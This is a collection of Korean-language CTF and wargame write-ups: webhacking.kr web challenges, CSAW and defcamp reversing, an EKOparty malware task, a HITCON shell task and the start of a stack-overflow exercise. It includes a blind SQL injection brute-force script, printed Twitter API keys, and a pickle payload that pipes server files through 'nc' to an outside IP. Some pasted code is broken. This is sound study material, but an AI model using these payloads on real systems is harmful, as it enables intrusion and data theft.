}
cookies = {
    "PHPSESSID":"9johqp6c81c5hf11lkomnghhn6"
}
r = requests.get(url, headers = headers, cookies=cookies, verify=False)

print r.content
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Source analysis

최초 접속 시 다음과 같은 인증 페이지가 뜬다.

[image: web/../../_images/web-09_1.png]
해당 인증 페이지시 다른 메소드로 접속해본다.

import requests

url = "http://webhacking.kr/challenge/web/web-09/"
cookies = {
    "PHPSESSID":"9johqp6c81c5hf11lkomnghhn6"
}
r = requests.put(url, cookies=cookies, verify=False)

print r.content





정상적으로 페이지가 출력된다.

<html>
<head>
<title>Challenge 9</title>
</head>
<body>
<a href=?no=1>1</a>&nbsp;<a href=?no=2>2</a>&nbsp;<a href=?no=3>3</a>&nbsp;<form method=get action=index.php>
Password : <input type=text size=10 maxlength=11 name=pw><input type=submit>
</form>
</body>
</html>





3개의 페이지가 href 되어 있는데 어떤 내용이 있는지 확인해본다.

?no=1일 경우 페이지

<html>
<head>
<title>Challenge 9</title>
</head>
<body>
Apple<form method=get action=index.php>
Password : <input type=text size=10 maxlength=11 name=pw><input type=submit>
</form>
</body>
</html>





?no=2일 경우 페이지

<html>
<head>
<title>Challenge 9</title>
</head>
<body>
Banana<form method=get action=index.php>
Password : <input type=text size=10 maxlength=11 name=pw><input type=submit>
</form>
</body>
</html>





?no=3일 경우 페이지

<html>
<head>
<title>Challenge 9</title>
</head>
<body>
<b>Secret</b><br><br>hint : length = 11<br>column : id,no





마지막 페이지를 보니 길이가 11이라는 힌트가 존재하고 컬럼명이 id와 no라고 되어 있다.










Blind SQL Injection

해당 문제의 페이지는 no를 통해 페이지가 리다이렉트되기 때문에, 다음과 같은 쿼리문으로 이루어져 있을 것이다.

SELECT ? FROM ? WHERE no=?





그렇다면 if문을 이용하여 참이 되면 2페이지를, 거짓이 되면 3페이지를 출력하도록 true/false를 지정해준다.
또한, id 컬럼이 같은 테이블에 있다고 가정하여 쿼리문을 입력해보자.

SELECT ? FROM ? WHERE no=if((substring(id,1,1)in('a')),2,3)





Access Denied가 나는 것을 보니 필터링이 걸려있다.

SELECT ? FROM ? WHERE no=IF((substr(id,1,1)in('a')),3,0)





if문을 대문자로 바꾸고 substring을 substr으로 바꾼 후 다시 쿼리문을 전송한 결과 오류 페이지는 출력되지 않았으나, 정상적인 페이지 리턴이 되지 않았다.

single quote가 정상적으로 출력되기 위해서는 ‘a’값을 hex형식으로 입력하여야한다.

import requests

pw =""
for i in range(1,12):
    for j in range(33,126):
        cookie = {
            "PHPSESSID":"9johqp6c81c5hf11lkomnghhn6",
        }
        url = "http://webhacking.kr/challenge/web/web-09/?no=IF((substr(id,%d,1)in(%s)),3,0)" % (i,str(hex(j)))
        r = requests.put(url, cookies=cookie, verify=False)
        q = r.content
        if "Secret" in q:
            pw += chr(j)
            print pw
            break

print pw
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[webhacking.kr] 10


	입력부분과 출력 부분을 찾는다.:



this.style.posLeft+=1 부분을 800으로 바꿔주면 클리어 된다.

<html>
<head>
<title>Challenge 10</title>
</head>

<body>
<hr style=height:100;background:brown;>
<table border=0 width=900 style=background:gray>
<tr><td>
<a id=hackme style="position:relative;left:0;top:0" onclick="this.style.posLeft+=1;if(this.style.posLeft==800)this.href='?go='+this.style.posLeft" onmouseover=this.innerHTML='yOu' onmouseout=this.innerHTML='O'>O</a><br>
<font style="position:relative;left:800;top:0" color=gold>|<br>|<br>|<br>|<br>buy lotto</font>
</td></tr>
</table>
<hr style=height:100;background:brown;>

</body>
</html>
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	인젝션 취약점이 존재할 수 있는 입력부분을 찾아 인젝션 존재 여부를 확인한다.



접속하면 아래와 같은 메시지와 함께 wrong이란 메시지가 출력된다.

wrong

$pat="/[1-3][a-f]{5}_.*125.140.118.254.*\tp\ta\ts\ts/";
if(preg_match($pat,$_GET[val])) { echo("Password is ????"); }





해당 조건을 만족해서 request를 날리면 통과한다.

import requests

url = "http://webhacking.kr/challenge/codeing/code2.html?val=1aaaab_a125.140.118.254a\tp\ta\ts\ts/"
cookies = {
    "PHPSESSID":"9johqp6c81c5hf11lkomnghhn6"
}
r = requests.get(url, cookies=cookies, verify=False)

print r.content
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Source analysis


	인젝션 취약점이 존재할 수 있는 입력부분을 찾아 인젝션 존재 여부를 확인합니다.



먼저 접속하면 client ip와 agent 정보를 보여주고 있습니다.

[image: web/../../_images/web-24_1.png]
<html>
<head>
<title>Challenge 24</title>
</head>
<body>
<?

extract($_SERVER);
extract($_COOKIE);

if(!$REMOTE_ADDR) $REMOTE_ADDR=$_SERVER[REMOTE_ADDR];

$ip=$REMOTE_ADDR;
$agent=$HTTP_USER_AGENT;


if($_COOKIE[REMOTE_ADDR])
{
$ip=str_replace("12","",$ip);
$ip=str_replace("7.","",$ip);
$ip=str_replace("0.","",$ip);
}

echo("<table border=1><tr><td>client ip</td><td>$ip</td></tr><tr><td>agent</td><td>$agent</td></tr></table>");

if($ip=="127.0.0.1")
{
@solve();
}

else
{
echo("<p><hr><center>Wrong IP!</center><hr>");
}
?>
<!--
source : index.phps
-->
</body>
</html>





결과적으로 @solve에 도달하려면 127.0.0.1이라는 값이 들어가야합니다.










Filtering Bypass

소스 내용을 보시면 트릭이 있습니다. str_replace를 통해 입력된 값을 바꿔치기 하는 데 2글자에 대해 바꿔치기를 하는 군요.
그렇다면 여기서 부터는 puzzle 문제 처럼 되네요.

1122 -> 12
77.. -> 7.
00.. -> 0.
00.. -> 0.
1 -> 1





cookie값에 다음 값을 붙여서 입력하면 문제 Clear!!

import requests

url = "http://webhacking.kr/challenge/bonus/bonus-4/index.php"
cookies = {"PHPSESSID":"fv2vg5nef63pavpm7s22j7ajh1", "REMOTE_ADDR":"112277..00..00..1"}
response = requests.get(url, cookies=cookies)
print response.text
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	[CSAW] hacking time

	[EKOparty] Malware

	[defcamp] Entry language
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[CSAW] hacking time








취약점 확인 (FCEUX 에뮬레이터)

nes라는 생소한 파일을 보고 일단 겁부터 먹었으나, 2012년도 nds 리버싱 Writeup을 한번 보고 CTF에 참여했었기에 뭔가 느낌이 비슷하겠구나 해서 일단 디버거 부터 검색~~!!

fceux라는 툴이 있군요. 일단 설치하고 돌렸더니 이상한 도로위를 달리는 PC가 나오네요. 계속 F 버튼을 누르니까 버퍼 오버플로우 관련 화면이 나옵니다.

[image: ../_images/reversing-01_1.png]
계속 누르니까 화면에서  Segmant Fault가 나면서 Lock Down 화면이 뜨네요.

[image: ../_images/reversing-01_2.png]









Input 값 확인 (6502)

여기서 무언가 입력값이랑 메모리에 있는 값과 compare를 해서 키값을 출력하게 하는 거 같습니다. 글씨 입력 칸을 일단 세보니까 24칸이군요.

그럼 일단 입력 받는 부분이 어디인지 한번 봐야겠죠. 이 툴의 사용법을 잘 모르니까 일단 RAM Search를 클릭해보니 그림과 같습니다.

[image: ../_images/reversing-01_3.png]
입력 부분에 값을 화살표 위아래 버튼으로 고쳤더니 0005~001c까지 32(Dec)로 되어있는 것을 볼 수 있습니다.
일단 Debugger 기능을 실행해보니 어셈블리 코드가 6502 프로세스로 되어있는데 무슨 말인지 하나도 모르겠네요.

[image: ../_images/reversing-01_4.png]
대충 중요해보이는 어셈블리 언어만 구글링해봅니다.

BNE = Branch on Result not Zero
EOR = XOR Memory with Accumulator
LDA = Load Accumulator with Memory
STA = Store Accumulator in Memory
CPY = Compare Memory with Index Y
TAX = Transfer Accumulator to Index X(A->X)
TXA = Transfer Index X to Accumulator(X->A)
ROL = Rotate Left One Bit(C <- 7 6 5 4 3 2 1 0 <- C)
ROR = Rotate Right One Bit(C -> 7 6 5 4 3 2 1 0 -> C)
PHA = Push Accumulator on Stack(A->S)
PLA = Pull Accumulator from Stack
ADC = Add Memory to Accumulator with Carry





일단 $0005를 입력값으로 받기 때문에 거기에 브레이크포인트를 걸고, 프로그램 상에서 f(확인)을 눌러 어떤식으로 변화가 이어지는 지 보도록 하겠습니다.

확인 결과 입력값에서 24번 for문을 돌면서 뭔가 인코딩을 하는 것으로 보입니다.

82F7   LDA $0005,Y // $0005 A에 로드
82FA   TAX // A->X
82FB   ROL // 1bit 왼쪽으로 이동
82FC   TXA // X->A
82FD   ROL
 // 1bit 왼쪽으로 이동
82FE   TAX
 // A->X
82FF   ROL
 // 1bit 왼쪽으로 이동
8300   TXA
 // X->A
8301   ROL
 // 1bit 왼쪽으로 이동
8302   TAX
 // A->X
8303   ROL
 // 1bit 왼쪽으로 이동
8304   TXA
 // X->A
8305   ROL
 // 1bit 왼쪽으로 이동
8306   PHA
 // PUSH A
8307   LDA $003B // $003B A에 로드
8309   TAX
 // A->X
830A   ROR
 // 1bit 오른쪽으로 이동
830B   TXA
 // X->A
830C   ROR
 // 1bit 오른쪽으로 이동
830D   TAX
 // A->X
830E   ROR
 // 1bit 오른쪽으로 이동
830F   TXA
 // X->A
8310   ROR
 // 1bit 오른쪽으로 이동
8311   STA $003B // $003B 저장
8313   PLA
// PULL A
8314   CLC
8315   ADC $003B
 // A + $003B
8317   EOR $955E,Y // A xor $955E
831A   STA $003B // $003B 저장
831C   TAX
 // A->X
831D   ROL
 // 1bit 왼쪽으로 이동
831E   TXA
 // X->A
831F   ROL
 // 1bit 왼쪽으로 이동
8320   TAX
 // A->X
8321   ROL
 // 1bit 왼쪽으로 이동
8322   TXA
 // X->A
8323   ROL
 // 1bit 왼쪽으로 이동
8324   TAX
 // A->X
8325   ROL
 // 1bit 왼쪽으로 이동
8326   TXA
 // X->A
8327   ROL
 // 1bit 왼쪽으로 이동
8328   TAX
 // A->X
8329   ROL
 // 1bit 왼쪽으로 이동
832A   TXA
 // X->A
832B   ROL
 // 1bit 왼쪽으로 이동
832C   EOR $9576,Y
 // A xor $9576
832F   STA $001E,Y // $001E 저장
8332   INY
// Y+1
8333   CPY #$18
// Y와 #$18(24) 비교(같으면 0)
8335   BNE $82F7
// 결과가 0이 아니면 82F7로 점프
8337   LDY #$00 // #$00 로드
8339   LDA $001E,Y // $001E A에 로드
833C   BNE $8346 // 결과가 0이 아니면 8346로 점프
833E   INY
833F   CPY #$18
8341   BNE $8339














ASM2PYTHON

어셈코드를 보니 일단 Input값에 계산식을 써서 값이 0으로 도출되면 인증이 통과되는 형식임을 확인할 수 있습니다.
이제 이 소스를 우리가 보기 편한 python코드로 하나씩 수정해봅시다.

Code_Length = 0x18
mem_955e = [0x70, 0x30, 0x53, 0xa1, 0xd3, 0x70, 0x3f, 0x64,
                    0xb3, 0x16, 0xe4, 0x04, 0x5f, 0x3a, 0xee, 0x42,
                    0xb1, 0xa1, 0x37, 0x15, 0x6e, 0x88, 0x2a, 0xab]
mem_9576 = [0x20, 0xac, 0x7a, 0x25, 0xd7, 0x9c, 0xc2, 0x1d,
                    0x58, 0xd0, 0x13, 0x25, 0x96, 0x6a, 0xdc, 0x7e,
                    0x2e, 0xb4, 0xb4, 0x10, 0xcb, 0x1d, 0xc2, 0x66]

def add(x,y):
    return 0xff & (x+y)

def rol(x):
    return 0xff & ((x<<1)|(x>>7))

def ror(x):
    return 0xff & ((x>>1)|(x<<7))

def encode(cipher):
    a, x = 0, 0
    tmp = 0        # Stack
    mem_003b = a
    mem_001e = []
    m = []
    for y in range(Code_Length):
        a= cipher[y]                        # LDA $0005,Y
        x= a = rol(rol(rol(a)))            # TXA, ROL (3 count)
        tmp= a                              # PHA
        a= mem_003b                    # LDA $003B
        x= a = ror(ror(a))                 # TXA, ROR (2 count)
        mem_003b = a                   # STA $003B
        a= tmp                              # PLA
                                                # CLC
        a= add(a, mem_003b)          # ADC $003B
        a= a ^ mem_955e[y]            # EOR $955E, Y
        mem_003b = a                    # STA $003B
        x= a = rol(rol(rol(rol(a))))# TXA, ROR 4 count
        a= a ^ mem_9576[y]             # EOR $9576, Y
        mem_001e.append(a)            # STA $001E, Y
        m.append(mem)











이 코드에서 mem_001e 리스트 값에 0x00이 들어가야 통과를 할 수 있습니다. 실제로 0x001e~0x0037 부분을 00으로 덮어쓰면 통과되는 화면을 볼 수 있습니다. 하지만 지금 풀어야할 숙제는 실제 00값이 나오게 하기 위한 입력값을 찾아야하기 때문에 위 python코드를 디코딩 코드로 변환해야합니다.

[image: ../_images/reversing-01_5.png]






디코딩 코드로 변환할 때는 memory 003b의 값을 선언해야한다는 점이 중요합니다. 메모리 003b의 값이 최초 0005 입력값이 들어올 때 0값에서 입력값에 따라 유동적으로 변하기 때문입니다. 그리고, 디코딩 코드로 변환 시에 ror -> rol, rol -> ror로 변환하지만, add와 sub에서 더하고 빼지는 값은 ror로 고정시켜야합니다.

Code_Length = 0x18

mem_955e = [0x70, 0x30, 0x53, 0xa1, 0xd3, 0x70, 0x3f, 0x64,
                    0xb3, 0x16, 0xe4, 0x04, 0x5f, 0x3a, 0xee, 0x42,
                    0xb1, 0xa1, 0x37, 0x15, 0x6e, 0x88, 0x2a, 0xab]
mem_9576 = [0x20, 0xac, 0x7a, 0x25, 0xd7, 0x9c, 0xc2, 0x1d,
                    0x58, 0xd0, 0x13, 0x25, 0x96, 0x6a, 0xdc, 0x7e,
                    0x2e, 0xb4, 0xb4, 0x10, 0xcb, 0x1d, 0xc2, 0x66]
SPACES = [0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
                0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
                0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]

def sub(x, y) :
    return 0xff & (0xff + x - y + 1)

def rol(x):
    return 0xff & ((x<<1)|(x>>7))

def ror(x):
    return 0xff & ((x>>1)|(x<<7))

def decode(encode):
    mem_003b = []
    n = []
    for j in range(Code_Length):
    tmp = encode[j] ^ mem_9576[j]
    tmp = ror(ror(ror(ror(tmp))))
    mem_003b.append(tmp)
    mem_003b.insert(0,0)

    for i in range(Code_Length):
        intext = encode[i] ^ mem_9576[i]
        intext = ror(ror(ror(ror(intext))))
        intext = intext ^ mem_955e[i]
        intext = sub(intext,ror(ror(mem_003b[i])))
        intext = ror(ror(ror(intext)))
        n.append(chr(intext))

        return n





[‘N’, ‘O’, ‘H’, ‘A’, ‘C’, ‘K’, ‘4’, ‘U’, ‘X’, ‘W’, ‘R’, ‘A’, ‘T’, ‘H’, ‘O’, ‘F’, ‘K’, ‘F’, ‘U’, ‘H’, ‘R’, ‘E’, ‘R’, ‘X’]










z3 solver

※ z3로 돌렸더니 훨씬 편하고 간결하네요. z3 사용법을 익혀둬야겠어요

if __name__ == '__main__':
    print decode(SPACES)


from z3 import *
import sys

s1 = "703053A1D3703F64B316E4045F3AEE42B1A137156E882AAB".decode('hex')
s2 = "20AC7A25D79CC21D58D01325966ADC7E2EB4B410CB1DC266".decode('hex')

def check(xs, s):
    b = BitVecVal(0, 8)
# Calculation
    for i in range(24):
        b= RotateLeft(xs[i], 3) + RotateRight(b, 2)^ord(s1[i])
        a= RotateLeft(b, 4)^ord(s2[i])
        s.add(a == 0)

# True, False
    if s.check() == sat:
        m= s.model()
        a= ""
        for i in range(24):
            a+= chr(int(str((m[xs[i]]))))

        print a

    else:
        print "unsat"


def solv():
    s = Solver()
    xs = []
    for i in range(24):
        # 8bit  vertor
        x= BitVec("x%d" % i, 8)
        # Specify InputRange
        s.add( 33 <= x )
        s.add( x <= 90 )
        xs.append(x)

    check(xs,s)

solv()
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[EKOparty] Malware








디컴파일 (pyc -> py)

압축 파일을 다운 받은 뒤 풀어보니 pyc파일 형식입니다.

pyc를 uncompyle2 [https://github.com/wibiti/uncompyle2] 를 통해 디컴파일 해줍니다.

디컴파일한 코드는 다음과 같습니다.

# Embedded file name: ekobot_final.py
import os
import sys
import httplib2
import cPickle
from Crypto.PublicKey import RSA
from base64 import b64decode
from twython import Twython

if 0:
    i11iIiiIii
    OO0o = 'ekoctf'

if 0:
    Iii1I1 + OO0O0O % iiiii % ii1I - ooO0OO000o
if len(sys.argv) != 2:
    os._exit(0)
    if 0:
        IiII1IiiIiI1/ iIiiiI1IiI1I1

##### 중략 #####

IiIi[0:5] == 'eko11':
    cPickle.loads(IiIiIi[5:])
    os._exit(0)
    if 0:
        iii1II11ii.Oo.iIiiiI1IiI1I1.ii1I

    except Exception as OOooO:
        print str(OOooO)
        if 0:
            ii1II11I1ii1I+ ooO0OO000o % i11iIiiIii.o0oOoO00o - IiII1IiiIiI1

oo(oo00)














리펙토링

디컴파일 코드 가독성을 높이기위해 변수명을 수정하고, 필요없는 코드(if 0:)들을 수정해줍니다.

import os
import sys
import httplib2
import cPickle
from Crypto.PublicKey import RSA
from base64 import b64decode
from twython import Twython

if len(sys.argv) != 2:
    os._exit(0)

input_file = sys.argv[1]

def read_file1():
    input = 0
    if os.path.isfile(input_file):
        try:
            fileopen = open(input_file, 'r')
            input = int(fileopen.readline(), 10)
        except:
            input = 0

    return input

def main(twid):
    try:
        fileopen = open(input_file, 'w')
        fileopen.write(str(twid))
    except:
        print 'error'

def response_data(url):
    httplist = httplib2.Http('')
    res_header, res_data = httplist.request(url, 'GET')
    if res_header.status == 200:
        try:
            if res_header['content-type'][0:10] == 'text/plain':
                return res_data
            return 'Err'
        except:
            return 'Err'

    else:
        return url

def dec(cipher_text):
    try:
        rsa_key = RSA.importKey(open('ekobot.pem').read())
        decode_data = b64decode(cipher_text)
        iiiI11 = rsa_key.decrypt(decode_data)
        return iiiI11
    except Exception as error_page:
        print str(error_page)
        return 'Err'

twitter = Twython('ienmDwTNHZVR9si4SzeCg1glB', 'TTlOJrwq5o9obnRyQXRyaOkRoYUBTrCzN9j9IHX0Bc4dS2xBHN', oauth_version=2)
twitter_token = twitter.obtain_access_token()
twitter = Twython('ienmDwTNHZVR9si4SzeCg1glB', access_token=twitter_token)

input = read_file1()
searching = twitter.search(q='#ekoctf', rpp='250', result_type='mixed', since_id=input)


for status1 in searching['statuses']:
    if status1['id'] > input:
        input = status1['id']

    n = 0
    try:
        for hashtag1 in status1['entities']['hashtags']:
            if hashtag1['text'] == 'ekoctf':
                n = 1

        if n == 1:
            for url1 in status1['entities']['urls']:
                if os.fork() == 0:
                    decrypt = dec(response_data(url1['url']))
                    if decrypt[0:5] == 'eko11':
                        cPickle.loads(decrypt[5:])
                    os._exit(0)

    except Exception as error_page:
        print str(error_page)

main(input)














소스 분석

이제 코드를 확인해보면 Twython이라는 모듈을 먼저 쓰고 있는걸 볼 수 있습니다. Twitter의 공식 API의 기본 래퍼를 파이썬으로 제작한 것입니다.
코드 진행 순서는 다음과 같습니다.


	Twitter에 ekoctf 태그로 url부분에 대한 검색을 통해 content-type이 text/plain일 경우, reponse data를 추출

	추출한 response data를 rsa private key ekobot.pem을 통해 복호화 진행

	복호화한 데이터 header 값에 ‘eko11’이 있을 경우, 그 뒤 복호화한 데이터를 cPickle.loads을 통해 명령 실행



twitter를 통해 원하는 명령을 실행할 수 있는 프로그램 형태입니다.
우선 Public Key를 알아야 해당 문제를 해결할 수 있기 때문에 twitter에서 #ekoctf로 검색을 하니 다음 주소에 Public Key가 있는 걸 확인할 수 있습니다. (https://twitter.com/NullLifeTeam/status/657208358408204288))

-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAmWw84H8BSPG1Ispn1hBP
WZ4ORxniLhOl76aOAsGsqdRZJyL+PFLWedGUx0ELwzf3vWQ2wMDwN37MZYWdS4z8
WT6P4FRtK09UtDgqNUQdx49WBqDf2GmIT+uBwMQBUCe3x+RTVcwDzA1I0mPtJj3K
6bGdmSSBZjgc6MA4rJil7xdSVP5Pedb8MZMKk/5tXmFl3gFjykkUfG+DbmsxulZ4
8D+IoIU6bVWAkael+ftZtDWY43XkezD2swV01Eaw4J7MzBakPDA6KipxNhKQZ2xo
eEsP2p8L67qF48eUbxI1ukcrqdy0c92rSihmChGBmHQ2AREshtTTLpM24/Nrirje
/QIDAQAB
-----END PUBLIC KEY-----














역수행

이제 Public Key를 이용해 사용하고자 하는 명령을 RSA로 암호화하여 , twitter에 raw data 형식으로 글을 올리면 됩니다.

본 문서에서는 cat *|nc local_ip 8000 라는 명령을 통해 해당 서버 디렉토리에 파일들을 볼 수 있도록 하겠습니다. 여기서 주의할 점은 파일 명령 앞부분에 “eko11”을 넣어주어야 정상적으로 서버에서 복호화 진행이 될 수 있습니다.

from Crypto.PublicKey import RSA
from base64 import b64decode,b64encode

key=RSA.importKey(open('pub.pem').read())
exploit="eko11"+"cos\nsystem\n(S'cat * | nc 182.70.222.238 8000'\ntR.'\ntR."
txt=key.encrypt(exploit,32)[0]
final=b64encode(txt)
print final





그리고 local에서는 while true; do nc -l -n -v -p 8000 ; done 이라는 명령을 입력하고 기다리면 해당 서버 디렉토리 파일 내용을 확인할 수 있습니다.
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[defcamp] Entry language








File Type

파일 하나를 주네요. file로 어떤 형식인지 살펴봅니다.

$ file ./r100
./r100: ELF 64-bit LSB executable, x86-64, version 1 (SYSV),
dynamically linked (uses shared libs), for GNU/Linux 2.6.24,
BuildID[sha1]=0x2448460f21e38ecca7809aef1b0bc7996881ec6a, stripped














strace

stripped가 된 elf파일이기에 strace로 바이너리를 추적해봅니다.

$ strace ./r100
ptrace(PTRACE_TRACEME, 0, 0, 0)         = -1 EPERM (Operation not permitted)





gdb로 디버깅 할 때 루프가 발생하도록 ptrace명령을 박아두었네요.










IDA Hexray

그럼 ida의 Hexray decompiler로 분석을 해보도록 하겠습니다.

먼저 start 함수 부분을 찾아 rdi로 이동하는 주소를 찾습니다.

그 주소가 바로 main 입니다. F5로 pseudo 코드를 보도록 하겠습니다.

signed __int64 sub_4007E8()
{
    signed __int64 result; // rax@3
    __int64 v1; // rcx@6
    char s; // [sp+0h][bp-110h]@1
    __int64 v3; // [sp+108h][bp-8h]@1

    v3 = *MK_FP(__FS__, 40LL);
    printf("Enter thepassword: ");

    if ( fgets(&s, 255, stdin) )
    {
        if ( sub_4006FD(&s, 255LL) )
        {
            puts("Incorrectpassword!");
            result = 1LL;
        }

        else
        {
            puts("Nice!");
            result = 0LL;
        }
    }
    else
    {
        result = 0LL;
    }
    v1 = *MK_FP(__FS__, 40LL) ^ v3;
    return result;
}





Nice가 나와야 하기 때문에 아마도 sub_4006FD에서 False(0)이면 될 것으로 보이네요. sub_4006FD를 따라가 봅니다.

signed __int64 __fastcall sub_4006FD(__int64 a1)
{
signed int i; // [sp+14h] [bp-24h]@1
char v3[8]; // [sp+18h] [bp-20h]@1
char v4[8]; // [sp+20h] [bp-18h]@1
char v5[8]; // [sp+28h] [bp-10h]@1

*(_QWORD *)v3 = "Dufhbmf";
*(_QWORD *)v4 = "pG`imos";
*(_QWORD *)v5 = "ewUglpt";
for ( i = 0; i <= 11; ++i )
{
    if ( *(_BYTE *)(*(_QWORD *)&v3[8 * (i % 3)] + 2 * (i / 3)) - *(_BYTE *)(i + a1) != 1 )
        return 1LL;
}
return 0LL;
}





입력값 a1이 False가 되려면 *(_BYTE *)(*(_QWORD *)&v3[8 * (i % 3)] + 2 * (i / 3)) - *(_BYTE *)(i + a1) 이 1이 되야합니다.

*(_BYTE *)(*(_QWORD *)&v3[8 * (i % 3)] + 2 * (i / 3))의 결과 값을 x라는 리스트로 칭했을 때,
x = [D,p,e,f,`,U,b,m,l,f,s,t] 입니다.

한마디로 x[i] - a1[i] = 1 이어야 합니다.

정답: Code_Talkers
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[HITCON] Piranha Gun

일단 nc로 접속해보니 root 쉘이 하나 떨어집니다.

$ nc 54.178.235.243 10004
bash: cannot set terminal process group (-1): Inappropriate ioctl for device
bash: no job control in this shell
bash: /root/.bashrc: Permission denied

root@ip-172-31-19-201:/home/PiranhaGun#





폴더 안을 보니 README라는 파일이 하나 있네요.

root@ip-172-31-19-201:/home/PiranhaGun# ls
ls
README





파일을 보니 Piranha Gum은 jungle.chest에서 찾을 수 있다고 합니다.

root@ip-172-31-19-201:/home/PiranhaGun# cat README
cat README
The Piranha Gun can be found in "jungle.chest".





프로세스를 확인하려고 보니 다음과 같이 마운트를 하라고 합니다.

root@ip-172-31-19-201:/home/PiranhaGun# ps aux
ps aux
Error, do this: mount -t proc proc /proc





마운트를 한 후 다시 프로세스를 확인해보니 정상적으로 프로세스가 나오는데 특별한 점은 없어 보입니다.

root@ip-172-31-19-201:/home/PiranhaGun# mount -t proc proc /proc
mount -t proc proc /proc
root@ip-172-31-19-201:/home/PiranhaGun# ps aux
ps aux
USER       PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root         1  0.0  0.0   2116    56 ?        S    00:17   0:00 wrapper root 0 600 262144 /home/PiranhaGun /bin/bash -i
root         2  0.0  0.0  18196  3300 ?        S    00:17   0:00 /bin/bash -i
root        16  0.0  0.0  15572  2092 ?        R    00:18   0:00 ps aux





시스템 mount 정보에 대해 확인을 위해 proc/mounts를 보니 뭔가 chest라는 폴더에 mount가 걸려있는게 보입니다.

root@ip-172-31-19-201:/home/PiranhaGun# cat /proc/mounts
cat /proc/mounts
/dev/disk/by-uuid/2ed4c374-2ddb-4a75-af24-98df753dbf6d / ext4 rw,relatime,discard,data=ordered 0 0
udev /dev devtmpfs rw,relatime,size=15702768k,nr_inodes=3925692,mode=755 0 0
devpts /dev/pts devpts rw,nosuid,noexec,relatime,gid=5,mode=620,ptmxmode=000 0 0
tmpfs /run tmpfs rw,nosuid,noexec,relatime,size=3141528k,mode=755 0 0
none /run/lock tmpfs rw,nosuid,nodev,noexec,relatime,size=5120k 0 0
none /run/shm tmpfs rw,nosuid,nodev,relatime 0 0
none /run/user tmpfs rw,nosuid,nodev,noexec,relatime,size=102400k,mode=755 0 0
sysfs /sys sysfs rw,nosuid,nodev,noexec,relatime 0 0
none /sys/fs/cgroup tmpfs rw,relatime,size=4k,mode=755 0 0
cgroup /sys/fs/cgroup/cpuset cgroup rw,relatime,cpuset 0 0
cgroup /sys/fs/cgroup/cpu cgroup rw,relatime,cpu 0 0
cgroup /sys/fs/cgroup/cpuacct cgroup rw,relatime,cpuacct 0 0
cgroup /sys/fs/cgroup/memory cgroup rw,relatime,memory 0 0
cgroup /sys/fs/cgroup/devices cgroup rw,relatime,devices 0 0
cgroup /sys/fs/cgroup/freezer cgroup rw,relatime,freezer 0 0
cgroup /sys/fs/cgroup/net_cls cgroup rw,relatime,net_cls 0 0
cgroup /sys/fs/cgroup/blkio cgroup rw,relatime,blkio 0 0
cgroup /sys/fs/cgroup/perf_event cgroup rw,relatime,perf_event 0 0
cgroup /sys/fs/cgroup/net_prio cgroup rw,relatime,net_prio 0 0
cgroup /sys/fs/cgroup/hugetlb cgroup rw,relatime,hugetlb 0 0
systemd /sys/fs/cgroup/systemd cgroup rw,nosuid,nodev,noexec,relatime,name=systemd 0 0
none /sys/fs/fuse/connections fusectl rw,relatime 0 0
none /sys/kernel/debug debugfs rw,relatime 0 0
none /sys/kernel/security securityfs rw,relatime 0 0
none /sys/fs/pstore pstore rw,relatime 0 0
proc /proc proc rw,nosuid,nodev,noexec,relatime 0 0
/dev/disk/by-uuid/2ed4c374-2ddb-4a75-af24-98df753dbf6d /chest ext4 rw,relatime,discard,data=ordered 0 0
proc /proc proc rw,nodev,relatime 0 0





chest 폴더에 디렉토리가 아무것도 없는 데 umount로 마운트를 해제해보니 jungle.chest 파일이 있네요. -.-;;

root@ip-172-31-19-201:/home/PiranhaGun# ls /chest
ls /chest
root@ip-172-31-19-201:/home/PiranhaGun# umount /chest
umount /chest
root@ip-172-31-19-201:/home/PiranhaGun# ls -al /chest
ls -al /chest
total 12
drwxr-xr-x  2 nobody nogroup 4096 Oct 16 13:31 .
drwxr-xr-x 23 nobody nogroup 4096 Oct 16 13:29 ..
-rw-r--r--  1 nobody nogroup   42 Oct 16 13:08 jungle.chest





파일을 보면 정답이 나오네요.

root@ip-172-31-19-201:/home/PiranhaGun# cat /chest/jungle.chest
cat /chest/jungle.chest





hitcon{Wh1re d!d Y0u F1nd the Jungle Key}
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	[lob] gate

	[lob] vampire

	skeleton

	darkknight

	[lob] gremlin

	[lob] cobolt

	[lob] goblin

	[lob] orc

	[lob] wolfman

	[lob] darkelf

	[lob] orge

	[lob] troll
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[lob] gate








Source Analysis

해당 문제 소스코드는 다음과 같습니다.

/*
    The Lord of the BOF : The Fellowship of the BOF
    - gremlin
    - simple BOF
*/

int main(int argc, char *argv[])
{
    char buffer[256];
    if(argc < 2){
        printf("argv error\n");
        exit(0);
    }
    strcpy(buffer, argv[1]);
    printf("%s\n", buffer);
}














Memory Structure

스택에 다음과 같이 들어가게 됩니다.

===============
LOW
---------------
Buffer  (256byte) <- argv[1]
SFP     (4byte)
RET     (4byte)
---------------
HIGH
===============














Segmentation fault

버퍼오버플로우가 일어나는 지점을 확인합니다.

※ 시작시 bash2 명령을 입력하고 bash2 쉘 상태에서 진행해야 합니다.

$ bash2
$ ./gremlin `python -c "print 'a'*256"`
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
$ ./gremlin `python -c "print 'a'*260"`
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Segmentation fault














exploit


